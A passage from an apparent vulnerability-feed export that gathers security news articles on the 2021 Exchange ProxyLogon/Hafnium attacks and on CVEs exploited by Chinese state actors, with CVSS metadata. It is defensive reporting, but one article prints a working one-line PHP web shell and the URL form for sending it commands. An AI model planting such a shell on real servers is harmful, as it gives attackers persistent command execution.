exploitation of Exchange vulnerabilities.\n * January 27, 2021, Dubex shares its findings with Microsoft.\n * February 2, 2021, Volexity informs Microsoft of its findings.\n * March 2, 2021, Microsoft publishes a patch and [advisory](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>), which has been updated a few times since then.\n * March 4, 2021, The Cybersecurity and Infrastructure Security Agency issues an emergency [directive](<https://cyber.dhs.gov/ed/21-02/>) after CISA partners observe active exploitation of vulnerabilities in Microsoft Exchange on-premises products.\n * March 5, 2021, Microsoft and many security vendors see increased use of these vulnerabilities in attacks targeting unpatched systems, by multiple malicious actors, not just Hafnium.\n * March 8, 2021, CISA issues a [warning](<https://us-cert.cisa.gov/ncas/current-activity/2021/03/06/microsoft-ioc-detection-tool-exchange-server-vulnerabilities>) that it is aware of widespread domestic and international exploitation of these vulnerabilities.\n\nThe attacks went from a limited Advanced Persistent Threat ([APT](<https://blog.malwarebytes.com/glossary/advanced-persistent-threat-apt/>)) used against targeted victims to [crypto](<https://www.carbonblack.com/blog/cb-tau-technical-analysis-dltminer-campaign-targeting-corporations-in-asia/>)[m](<https://www.carbonblack.com/blog/cb-tau-technical-analysis-dltminer-campaign-targeting-corporations-in-asia/>)[ining operations](<https://www.carbonblack.com/blog/cb-tau-technical-analysis-dltminer-campaign-targeting-corporations-in-asia/>) run by \u201ccommon\u201d cybercriminals in no time flat.\n\nWhat often happens after vulnerabilities get disclosed and patched is that criminals reverse engineer the fix to create their own copycat exploits, so they can attack while systems are unpatched. Sometimes it takes a lot of skills and perseverance to get a vulnerability to work for you, but looking at the rapid introduction of these Exchange exploits into the threat landscape, this one looks like a piece of cake.\n\n### Victims\n\nAs of 8 March, Malwarebytes had detected malicious web shells on close to 1,000 unique machines already. Although most of the recorded attacks have occurred in the United States, organizations in other countries are under attack as well.\n\n_Instances found of Backdoor.Hafnium_\n\nChris Krebs, the former director of CISA, reckons government agencies and small businesses will be more affected by these attacks than large enterprises. Enterprises tend to use different software than on-premises Exchange Servers. \n\nDistribution of Backdoor.Hafnium detections by country by 8 March, 2021\n\nBut Brian Krebs, in a post on his site, states that the Hafnium hackers have [accelerated attacks on vulnerable Exchange servers](<https://krebsonsecurity.com/2021/03/at-least-30000-u-s-organizations-newly-hacked-via-holes-in-microsofts-email-software/>) since Microsoft released the patches. His sources told him that 30,000 organizations in the US have been hacked as part of this campaign.\n\n### Web shells\n\nA web shell is as a malicious script used by an attacker that allows them to escalate and maintain persistent access on an already compromised web application. (Not every web shell is malicious, but the non-malicious ones are not interesting to us in this context.)\n\nWeb shells don't attack or exploit a remote vulnerability, they are always the second step of an attack. Even if it opens the door to further exploitation, a web shell itself is always dropped after an initial exploitation.\n\nWeb shell scripts can be written in any of the programming languages designed for use on the web. You will find PHP, ASP, Perl, and many others. Attackers who successfully use web shells take advantage of the fact that many organizations do not have complete visibility into the HTTP sessions on their servers. And most web shells are basically non-executable files, which can make it hard for traditional antivirus software to detect them. The [tiniest web shell](<https://www.pentestpartners.com/security-blog/the-tiniest-php-system-shell-ever/>) in PHP on record is only this big:\n \n \n <?=`$_GET[1]`?>\n\nA shell like this will simply execute whatever command an attacker sends to the compromised server. They run it by calling the script in their browser, or from a command line HTTP client. For example, the following url would cause a tiny web shell running on example.com to execute whatever we put replaced `{command}` with:\n \n \n www.example.com/index.html?1={command}\n\nAs you can see the use of this type of backdoor is easy. Once you have planted the web shell, you can use it to create additional web shells or steal information from the server.\n\n### What can we do?\n\nPatch as soon as you can.\n\nMicrosoft's team has published a [script on GitHub](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>) that can check the security status of Exchange servers. The script has been updated to include indicators of compromise (IOCs) linked to the four zero-day vulnerabilities found in Microsoft Exchange Server.\n\nIt was important to patch last week, when it was just targeted attacks, but it\u2019s all the more urgent now that it\u2019s wild west out there. If you can't patch your Exchange server, block internet access to it, or restrict access to it by blocking untrusted connections, or putting the server behind your VPN.\n\nScan your server for the presence of malicious web shells. Security vendors have added detection for the publicly posted IOCs and some will detect other malicious web shells as well.\n\nMalwarebytes\u2019 generic detection name for malicious web shells is Backdoor.WebShell and the detection name for the web shells that are tied directly to the Hafnium group is [Backdoor.Hafnium](<https://blog.malwarebytes.com/detections/backdoor-hafnium/>).\n\nMalwarebytes detecting Backdoor.Hafnium\n\nWe\u2019ll [update the timeline in our first article](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>) on this topic as more developments and fresh information comes to light.\n\nStay safe, everyone!\n\nThe post [Microsoft Exchange attacks cause panic as criminals go shell collecting](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-09T19:59:37", "type": "malwarebytes", "title": "Microsoft Exchange attacks cause panic as criminals go shell collecting", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2021-03-09T19:59:37", "id": "MALWAREBYTES:7C9E5CAE3DDA4E673D38360AB2A5706B", "href": "https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-10-14T00:05:09", "description": "In [a joint cybersecurity advisory](<https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3181261/nsa-cisa-fbi-reveal-top-cves-exploited-by-chinese-state-sponsored-actors/>), the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have revealed the top CVEs used by state-sponsored threat actors from China.\n\nThe advisory aims to \"inform federal and state, local, tribal and territorial (SLTT) government; critical infrastructure, including the Defense Industrial Base Sector; and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).\"\n\nThe US and other allied nations consider China a cyber threat as it continues to target and attack companies in the US and elsewhere, with the primary aim of stealing intellectual property or gaining access to sensitive networks. The usual targets range from organizations in the IT sector, including telecommunications service providers; the [DIB (Defense Industrial Base)](<https://www.cisa.gov/defense-industrial-base-sector>) sector, which is related to military weapons systems; and other critical infrastructure sectors.\n\nIt is no surprise, then, that a majority of the CVEs revealed are for flaws allowing actors to surreptitiously and unlawfully gain access to networks. Within these networks, they establish persistence and move laterally to other connected systems.\n\nThe advisory is part of a concerted effort by US government agencies, particularly CISA, to push companies into getting on top of their patching. Part of that is getting them to patch much faster, and the other is getting them to focus on patching the vulnerabilities that threat actors are known to use.\n\nLast year, CISA [began publishing a catalog of actively exploited vulnerabilities](<https://www.malwarebytes.com/blog/news/2021/11/cisa-sets-two-week-window-for-patching-serious-vulnerabilities>) that need ot be patched within two weeks on federal information systems. The agencies behind this latest advisory have also collaborated in the past on a list of [vulnerabilities favored by Russian state-sponsored threat actors](<https://www.malwarebytes.com/blog/news/2021/04/patch-now-nsa-cisa-and-fbi-warn-of-russian-intelligence-exploiting-5-vulnerabilities>).\n\nIf your organization's intellectual property is likely to be of interest to China, this is list is for you. And if it isn't, this list is still worth paying attention to.\n\n## The vunerabilities\n\n### Remote code execution (RCE)\n\nRCE flaws let attackers execute malicious code on a compromised, remote computer. The advisory identifies 12 RCEs: [CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>) (also known as [Log4Shell or LogJam](<https://www.malwarebytes.com/blog/news/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend>)), [CVE-2021-22205](<https://www.malwarebytes.com/blog/news/2021/09/patch-vcenter-server-right-now-vmware-expects-cve-2021-22005-exploitation-within-minutes-of-disclosure>), [CVE-2022-26134](<https://www.malwarebytes.com/blog/news/2022/06/unpatched-atlassian-confluence-vulnerability-is-actively-exploited>), [CVE-2021-26855](<https://www.malwarebytes.com/blog/news/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi>), [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>), [CVE-2021-26084](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-42237](<https://nvd.nist.gov/vuln/detail/CVE-2021-42237>), [CVE-2022-1388](<https://www.malwarebytes.com/blog/news/2022/05/update-now-exploits-are-active-for-f5-big-ip-vulnerability>), [CVE-2021-40539](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-26857](<https://www.malwarebytes.com/blog/news/2022/04/the-top-5-most-routinely-exploited-vulnerabilities-of-2021>), [CVE-2021-26858](<https://www.malwarebytes.com/blog/news/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days>), and [CVE-2021-27065](<https://www.malwarebytes.com/blog/news/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days>).\n\n### Arbitrary file read\n\nThe advisory identifies two arbitrary file read flaws--[CVE-2019-11510](<https://www.malwarebytes.com/blog/business/2019/10/pulse-vpn-patched-their-vulnerability-but-businesses-are-trailing-behind>) and [CVE-2021-22005](<https://www.malwarebytes.com/blog/news/2021/09/patch-vcenter-server-right-now-vmware-expects-cve-2021-22005-exploitation-within-minutes-of-disclosure>)--which allow users or malicious programs with low privileges to read (but not write) any file on the affected system or server. Useful for stealing data.\n\n### Authentication bypass by spoofing\n\n[CVE-2022-24112](<https://nvd.nist.gov/vuln/detail/CVE-2022-24112>) is an authentication bypass flaw that allows attackers to access resources they shouldn't have access to by spoofing an IP address.\n\n### Command injection\n\n[CVE-2021-36260](<https://www.malwarebytes.com/blog/news/2022/08/thousands-of-hikvision-video-cameras-remain-unpatched-and-vulnerable-to-takeover>) is a command injection flaw that allows attackers to execute commands of their own choosing on an affected system. A vulnerable app is usually involved in such attacks.\n\n### Command line execution\n\n[CVE-2021-1497](<https://nvd.nist.gov/vuln/detail/CVE-2021-1497>) is a command injection flaw that allows attackers to inject data into an affected system's command line.\n\n### Path Traversal\n\nAlso known as \"directory traversal,\" these flaws allow attackers to read, and possibly write to, restricted files by inputting path traversal sequences like `../` into file or directory paths. [CVE-2019-19781](<https://www.malwarebytes.com/blog/news/2021/06/atomic-research-institute-breached-via-vpn-vulnerability>), [CVE-2021-41773](<https://www.malwarebytes.com/blog/news/2021/10/apache-http>), and [CVE-2021-20090](<https://www.malwarebytes.com/blog/news/2021/08/home-routers-are-being-hijacked-using-vulnerability-disclosed-just-2-days-ago>) are all forms of path traversal attack.\n\n## Mitigations\n\nThe NSA, CISA, and FBI urge organizations to undertake the following mitigations:\n\n * * Apply patches as they come, prioritizing the most critical l flaws in your environment.\n * Use multi-factor authentication.\n * Require the use of strong, unique passwords.\n * Upgrade or replace software or devices that are at, or close to, their end of life.\n * Consider adopting a [zero-trust security model](<https://www.malwarebytes.com/blog/news/2020/01/explained-the-strengths-and-weaknesses-of-the-zero-trust-model>).\n * Monitor and log Internet-facing systems for abnormal activity.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-13T16:15:00", "type": "malwarebytes", "title": "Chinese APT's favorite vulnerabilities revealed", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-13T16:15:00", "id": "MALWAREBYTES:D081BF7F95E3F31C6DB8CEF9AD86BD0D", "href": "https://www.malwarebytes.com/blog/news/2022/10/psa-chinese-apts-target-flaws-that-take-full-control-of-systems", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-03-03T22:09:32", "description": "Microsoft has spotted multiple zero-day exploits in the wild being used to attack on-premises versions of Microsoft Exchange Server. Adversaries have been able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access, according to the computing giant.\n\nThe attacks are \u201climited and targeted,\u201d according to Microsoft, spurring it to release [out-of-band patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) this week. The exploited bugs are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.\n\nHowever, other researchers [have reported](<https://www.reddit.com/r/msp/comments/lwmo5c/mass_exploitation_of_onprem_exchange_servers/>) seeing the activity compromising mass swathes of victim organizations.\n\n\u201cThe team is seeing organizations of all shapes and sizes affected, including electricity companies, local/county governments, healthcare providers and banks/financial institutions, as well as small hotels, multiple senior citizen communities and other mid-market businesses,\u201d a spokesperson at Huntress told Threatpost.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe culprit is believed to be an advanced persistent threat (APT) group known as Hafnium (also the name of a chemical element), which has a history of targeting assets in the United States with cyber-espionage campaigns. Targets in the past have included defense contractors, infectious disease researchers, law firms, non-governmental organizations (NGOs), policy think tanks and universities.\n\n\u201cMicrosoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to Hafnium, a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures,\u201d according to [an announcement](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) this week from Microsoft on the attacks.\n\n## **Zero-Day Security Bugs in Exchange Server**\n\n\u201cThe fact that Microsoft chose to patch these flaws out-of-band rather than include them as part of next week\u2019s [Patch Tuesday](<https://threatpost.com/exploited-windows-kernel-bug-takeover/163800/>) release leads us to believe the flaws are quite severe even if we don\u2019t know the full scope of those attacks,\u201d Satnam Narang, staff research engineer at Tenable, said via email.\n\nMicrosoft patched following bugs this week, and admins should update accordingly:\n\n * **CVE-2021-26855** is a server-side request forgery (SSRF) vulnerability that allows authentication bypass: A remote attacker can simply send arbitrary HTTP requests to the Exchange server and be able to authenticate to it. From there, an attacker can steal the full contents of multiple user mailboxes.\n * **CVE-2021-26857** is an insecure-deserialization vulnerability in the Unified Messaging service, where untrusted user-controllable data is deserialized by a program. An exploit allows remote attackers with administrator permissions to run code as SYSTEM on the Exchange server.\n * **CVE-2021-26858** and **CVE-2021-27065** are both post-authentication arbitrary file-write vulnerabilities in Exchange. Once authenticated with an Exchange server (using CVE-2021-26855 or with compromised admin credentials), an attacker could write a file to any path on the server \u2013 thus achieving remote code execution (RCE).\n\nResearchers at Volexity originally uncovered the SSRF bug as part of an incident response and noted, \u201cThis vulnerability is remotely exploitable and does not require authentication of any kind, nor does it require any special knowledge or access to a target environment. The attacker only needs to know the server running Exchange and the account from which they want to extract email.\u201d\n\nThey also observed the SSRF bug being chained with CVE-2021-27065 to accomplish RCE in multiple attacks.\n\nIn addition to Volexity, Microsoft credited security researchers at Dubex with uncovering the recent activity, which was first observed in January.\n\n\u201cBased on what we know so far, exploitation of one of the four vulnerabilities requires no authentication whatsoever and can be used to potentially download messages from a targeted user\u2019s mailbox,\u201d said Tenable\u2019s Narang. \u201cThe other vulnerabilities can be chained together by a determined threat actor to facilitate a further compromise of the targeted organization\u2019s network.\u201d\n\n## **What Happened in the Hafnium Attacks?**\n\nIn the observed campaigns, the four zero-day bugs were used to gain initial access to targeted Exchange servers and achieve RCE. Hafnium operators then deployed web shells on the compromised servers, which were used to steal data and expand the attack, according to researchers.\n\n\u201cIn all cases of RCE, Volexity has observed the attacker writing webshells (ASPX files) to disk and conducting further operations to dump credentials, add user accounts, steal copies of the Active Directory database (NTDS.DIT) and move laterally to other systems and environments,\u201d according to [Volexity\u2019s writeup](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>).\n\nFollowing web shell deployment, Microsoft found that Hafnium operators performed a range of post-exploitation activity:\n\n * Using Procdump to dump the LSASS process memory;\n * Using 7-Zip to compress stolen data into ZIP files for exfiltration;\n * Adding and using Exchange PowerShell snap-ins to export mailbox data;\n * Using the Nishang Invoke-PowerShellTcpOneLine reverse shell;\n * And downloading PowerCat from GitHub, then using it to open a connection to a remote server.\n\nThe attackers were also able to download the Exchange offline address book from compromised systems, which contains information about an organization and its users, according to the analysis.\n\n\u201cThe good news for defenders is that the post-exploitation activity is very detectable,\u201d said Katie Nickels, director of intelligence at Red Canary, via email, adding her firm has detected numerous attacks as well. \u201cSome of the activity we observed uses [the China Chopper web shell](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>), which has been around for more than eight years, giving defenders ample time to develop detection logic for it.\u201d\n\n## **Who is the Hafnium APT?**\n\nHafnium has been tracked by Microsoft before, but the company has [only just released a few details](<https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/>) on the APT.\n\nIn terms of its tactics, \u201cHafnium has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like Covenant, for command and control,\u201d according to Microsoft. \u201cOnce they\u2019ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like MEGA.\u201d\n\nHafnium operates primarily from leased virtual private servers in the United States, and primarily goes after U.S. targets, but is linked to the Chinese government, according to Microsoft. It characterizes the APT as \u201ca highly skilled and sophisticated actor.\u201d\n\n## **Time to Patch: Expect More Attacks Soon**\n\nIt should be noted that other researchers say they have seen these vulnerabilities being exploited by different threat actors targeting other regions, according to Narang.\n\n\u201cWe expect other threat actors to begin leveraging these vulnerabilities in the coming days and weeks, which is why it is critically important for organizations that use Exchange Server to apply these patches immediately,\u201d he added.\n\nAnd indeed, researchers at Huntress said they have discovered more than 100 web shells deployed across roughly 1,500 vulnerable servers (with antivirus and endpoint detection/recovery installed) and expect this number to keep rising.\n\nThey\u2019re not alone.\n\n\u201cFireEye has observed these vulnerabilities being exploited in the wild and we are actively working with several impacted organizations,\u201d Charles Carmakal, senior vice president and CTO at FireEye Mandiant, said via email. \u201cIn addition to patching as soon as possible, we recommend organizations also review their systems for evidence of exploitation that may have occurred prior to the deployment of the patches.\u201d\n", "cvss3": {}, "published": "2021-03-03T15:30:52", "type": "threatpost", "title": "Microsoft Exchange 0-Day Attackers Spy on U.S. Targets", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-03T15:30:52", "id": "THREATPOST:247CA39D4B32438A13F266F3A1DED10E", "href": "https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-03-04T21:57:55", "description": "Hot on the heels of Microsoft\u2019s announcement about active cyber-espionage campaigns that are [exploiting four serious security vulnerabilities](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in Microsoft Exchange Server, the U.S. government is mandating patching for the issues.\n\nThe news comes as security firms report escalating numbers of related campaigns led by sophisticated adversaries against a range of high-value targets, especially in the U.S.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has issued an emergency directive, warning that its partners have observed active exploitation of the bugs in Microsoft Exchange on-premises products, which allow attackers to have \u201cpersistent system access and control of an enterprise network.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cCISA has determined that this exploitation of Microsoft Exchange on-premises products poses an unacceptable risk to Federal Civilian Executive Branch agencies and requires emergency action,\u201d reads the [March 3 alert](<https://cyber.dhs.gov/ed/21-02/>). \u201cThis determination is based on the current exploitation of these vulnerabilities in the wild, the likelihood of the vulnerabilities being exploited, the prevalence of the affected software in the federal enterprise, the high potential for a compromise of agency information systems and the potential impact of a successful compromise.\u201d\n\n## **Rapidly Spreading Exchange Server Attacks**\n\nEarlier this week Microsoft said that it had spotted multiple zero-day exploits in the wild being used to attack on-premises versions of Microsoft Exchange Server, spurring it to release [out-of-band patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>).\n\nThe exploited bugs are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065. When chained together, they allow remote authentication bypass and remote code execution. Adversaries have been able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access, according to the computing giant.\n\nThe attacks are being carried out in part by a China-linked advanced persistent threat (APT) called Hafnium, Microsoft said \u2013 but multiple other security firms have observed attacks from other groups and against a widespread swathe of targets.\n\nResearchers at Huntress Labs for instance told Threatpost that its researchers have discovered more than 200 web shells deployed across thousands of vulnerable servers (with antivirus and endpoint detection/recovery installed), and it expects this number to keep rising.\n\n\u201cThe team is seeing organizations of all shapes and sizes affected, including electricity companies, local/county governments, healthcare providers and banks/financial institutions, as well as small hotels, multiple senior citizen communities and other mid-market businesses,\u201d a spokesperson at Huntress told Threatpost.\n\nMeanwhile, researchers at ESET tweeted that CVE-2021-26855 was being actively exploited in the wild by at least three APTS besides Hafnium.\n\n\u201cAmong them, we identified #LuckyMouse, #Tick, #Calypso and a few additional yet-unclassified clusters,\u201d it tweeted, adding that while most attacks are against targets in the U.S., \u201cwe\u2019ve seen attacks against servers in Europe, Asia and the Middle East.\u201d\n\n> Most targets are located in the US but we\u2019ve seen attacks against servers in Europe, Asia and the Middle East. Targeted verticals include governments, law firms, private companies and medical facilities. 3/5 [pic.twitter.com/kwxjYPeMlm](<https://t.co/kwxjYPeMlm>)\n> \n> \u2014 ESET research (@ESETresearch) [March 2, 2021](<https://twitter.com/ESETresearch/status/1366862951156695047?ref_src=twsrc%5Etfw>)\n\nThe vulnerabilities only exist in on-premise versions of Exchange Server, and don\u2019t affect Office 365 and virtual instances. Yet despite the move to the cloud, there are plenty of physical servers still in service, leaving a wide pool of targets.\n\n\u201cWith organizations migrating to Microsoft Office 365 en masse over the last few years, it\u2019s easy to forget that on-premises Exchange servers are still in service,\u201d Saryu Nayyar, CEO, Gurucul, said via email. \u201cSome organizations, notably in government, can\u2019t migrate their applications to the cloud due to policy or regulation, which means we will see on-premises servers for some time to come.\u201d\n\n## **CISA Mandates Patching Exchange Servers**\n\nCISA is requiring federal agencies to take several steps in light of the spreading attacks.\n\nFirst, they should take a thorough inventory of all on-premises Microsoft Exchange Servers in their environments, and then perform forensics to identify any existing compromises. Any compromises must be reported to CISA for remediation.\n\nThe forensics step would include collecting \u201csystem memory, system web logs, windows event logs and all registry hives. Agencies shall then examine the artifacts for indications of compromise or anomalous behavior, such as credential dumping and other activities.\u201d\n\nIf no indicators of compromise have been found, agencies must immediately patch, CISA added. And if agencies can\u2019t immediately patch, then they must take their Microsoft Exchange Servers offline.\n\nAll agencies have also been told to submit an initial report by Friday on their current situation.\n\n\u201c[This] highlights the increasing frequency of attacks orchestrated by nation states,\u201d said Steve Forbes, government cybersecurity expert at Nominet, via email. \u201cThe increasing role of government agencies in leading a coordinated response against attacks. CISA\u2019s directive for agencies to report back on their level of exposure, apply security fixes or disconnect the program is the latest in a series of increasingly regular emergency directives that the agency has issued since it was established two years ago. Vulnerabilities like these demonstrate the necessity for these coordinated national protective measures to efficiently and effectively mitigate the effects of attacks that could have major national security implications.\u201d\n", "cvss3": {}, "published": "2021-03-04T17:08:36", "type": "threatpost", "title": "CISA Orders Fed Agencies to Patch Exchange Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-04T17:08:36", "id": "THREATPOST:54430D004FBAE464FB7480BC724DBCC8", "href": "https://threatpost.com/cisa-federal-agencies-patch-exchange-servers/164499/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-03-11T21:58:44", "description": "Recently patched Microsoft Exchange vulnerabilities are under fire from at least 10 different advanced persistent threat (APT) groups, all bent on compromising email servers around the world. Overall exploitation activity is snowballing, according to researchers.\n\nMicrosoft said in early March that it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange Server. Four flaws can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a webshell for further exploitation within the environment.\n\nAnd indeed, adversaries from the Chinese APT known as Hafnium were able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access, according to the computing giant.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nMicrosoft was spurred to release [out-of-band patches](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/>) for the exploited bugs, known collectively as ProxyLogon, which are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.\n\n## **Rapidly Spreading Email Server Attacks**\n\nMicrosoft said last week that the attacks were \u201climited and targeted.\u201d But that\u2019s certainly no longer the case. Other security companies have [continued to say](<https://twitter.com/0xDUDE/status/1369302347617349642>) they have seen much broader, escalating activity with mass numbers of servers being scanned and attacked.\n\nESET researchers [had confirmed this](<https://threatpost.com/cisa-federal-agencies-patch-exchange-servers/164499/>) as well, and on Wednesday announced that it had pinpointed at least 10 APTs going after the bugs, including Calypso, LuckyMouse, Tick and Winnti Group.\n\n\u201cOn Feb. 28, we noticed that the vulnerabilities were used by other threat actors, starting with Tick and quickly joined by LuckyMouse, Calypso and the Winnti Group,\u201d according to [the writeup](<https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/>). \u201cThis suggests that multiple threat actors gained access to the details of the vulnerabilities before the release of the patch, which means we can discard the possibility that they built an exploit by reverse-engineering Microsoft updates.\u201d\n\n> The [@DIVDnl](<https://twitter.com/DIVDnl?ref_src=twsrc%5Etfw>) scanned over 250K Exchange servers. Sent over 46k emails to the owners. The amount of vulnerable servers is going down. The number of compromised systems is going up. More organizations start investigating their systems for [#Hafnium](<https://twitter.com/hashtag/Hafnium?src=hash&ref_src=twsrc%5Etfw>) exploits.<https://t.co/XmQhHd7OA9>\n> \n> \u2014 Victor Gevers (@0xDUDE) [March 9, 2021](<https://twitter.com/0xDUDE/status/1369302347617349642?ref_src=twsrc%5Etfw>)\n\nThis activity was quickly followed by a raft of other groups, including CactusPete and Mikroceen \u201cscanning and compromising Exchange servers en masse,\u201d according to ESET.\n\n\u201cWe have already detected webshells on more than 5,000 email servers [in more than 115 countries] as of the time of writing, and according to public sources, [several important organizations](<https://twitter.com/sundhaug92/status/1369669037924483087>), such as the European Banking Authority, suffered from this attack,\u201d according to the ESET report.\n\nIt also appears that threat groups are piggybacking on each other\u2019s work. For instance, in some cases the webshells were dropped into Offline Address Book (OAB) configuration files, and they appeared to be accessed by more than one group.\n\n\u201cWe cannot discount the possibility that some threat actors might have hijacked the webshells dropped by other groups rather than directly using the exploit,\u201d said ESET researchers. \u201cOnce the vulnerability had been exploited and the webshell was in place, we observed attempts to install additional malware through it. We also noticed in some cases that several threat actors were targeting the same organization.\u201d\n\n## **Zero-Day Activity Targeting Microsoft Exchange Bugs**\n\nESET has documented a raft of activity targeting the four vulnerabilities, including multiple zero-day compromises before Microsoft rolled patches out.\n\nFor instance, Tick, which has been infiltrating organizations primarily in Japan and South Korea since 2008, was seen compromising the webserver of an IT company based in East Asia two days before Microsoft released its patches for the Exchange flaws.\n\n\u201cWe then observed a Delphi backdoor, highly similar to previous Delphi implants used by the group,\u201d ESET researchers said. \u201cIts main objective seems to be intellectual property and classified information theft.\u201d\n\n\n\nA timeline of ProxyLogon activity. Source: ESET.\n\nOne day before the patches were released, LuckyMouse (a.k.a. APT27 or Emissary Panda) compromised the email server of a governmental entity in the Middle East, ESET observed. The group is cyberespionage-focused and is known for breaching multiple government networks in Central Asia and the Middle East, along with transnational organizations like the International Civil Aviation Organization (ICAO) in 